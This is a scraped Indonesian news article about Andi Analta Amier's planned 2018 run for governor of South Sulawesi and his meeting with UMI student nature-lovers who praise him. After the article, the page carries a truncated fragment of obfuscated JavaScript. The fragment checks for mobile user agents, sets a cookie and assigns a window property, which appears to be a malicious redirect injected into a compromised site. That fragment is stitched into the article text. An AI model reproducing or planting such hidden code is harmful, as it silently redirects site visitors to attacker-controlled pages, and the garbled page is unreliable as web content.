Pilgub

Nih Dia, Sang Kuda Hitam Idola Para Mapala UMI

Istimewa, Maros
Tekad Andi Analta Amier (Pua) ikut bertarung di Pilgub Sulsel pada 2018 mendatang diapresiasi aktifis mahasiswa yang tergabung dalam Mapala Universitas Muslim Indonesia (UMI).

Saat tak sengaja bertemu di sebuah rumah makan di kawasan Pattunuang, Maros, Sulawesi Selatan, Jumat (20-10-2017), Andi Analta berbincang santai dengan mahasiswa Pecinta Alam UMI. Setelah sebelumnya shalat berjamaah di Masjid Darul Muttaqien, Pattunuang.

Mereka sudah mengetahui rencana Andi Analta untuk ikut meramaikan pesta demokrasi Sulsel pada 2018 nanti.

“Kami sudah tahu dari media. Tapi ini surprise. Nggak sengaja bertemu saat hendak shalat Jumat di masjid ini,” kata Yani, salah satu pembina Mapala UMI.

 

Menurut Yani, hingga hari ini dari semua bakal calon yang mau maju di Pilkada Sulsel 2018 mendatang tidak ada yang masuk dalam kriterianya sebagai idola kalangan pemuda.

“Kita masih mencari yang terbaik. Semua yang mencalonkan diri tidak semua track recordnya bagus. Kami baru melihat Bupati Bantaeng saja yang hampir memenuhi kriteria. Sayang wakilnya masih tidak jelas,” paparnya.

Dengan rencana majunya Andi Analta dalan pertarungan Pilgub Sulsel mendatang, Yani memberikan apresiasi dan dukungan.

“Mudah-mudah sukses dan cocok sebagai figur alternatif bagi kalangan anak-anak muda. Selama ini saya mengidolakan seorang pemimpin seperti Rasulullah SAW. Mudah-mudahan karakter kepemimpinan Pua sama seperti mencontoh kepemimpinan Nabi Muhammad SAW,” ucapnya.

Yani mengungkapkan bahwa Pilkada Sulsel akan berlangsung panas. Dengan hadirnya Andi Analta diharapkan menjadi alternatif pilihan bagi warga Sulsel untuk memilih figur baru yang bersih dari dosa-dosa politik.

Sementara itu, Andi Analta menegaskan bahwa tekadnya untuk maju dalam perebutan kursi nomer satu di Sulsel bukan sekadar sudah bulat. Meski dengan waktu yang terbilang sempit jelang waktu pendaftaran Balon Cagub-Cawagub, bukan halangan bagi Andi Analta untuk terus bersosialisasi ke masyarakat di salib penjuru Sulsel.

“Bagi saya Pilkada ini accident. Blusukan ke masyarakat tak perlu pakai rencana-rencana atau persiapan khusus penyambutan seperti menyambut pejabat,” tuturnya.

Dengan begitu luasnya provinsi Sulsel, lanjut Andi Analta, bukan halangan untuk mengenalkan berbagai program kerjany bila terpilih nanti kepada masyarakat.

“Jaringan pendukung dan relawan sudah tersebar di 24 Kabupaten dan Kota. Mereka terus bekerja untuk mengumpulkan KTP sebagai bentuk dukungan dan persyaratan pendaftaran Cagub ke KPU,” ungkapnya.(***)

  |lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Most Popular

To Top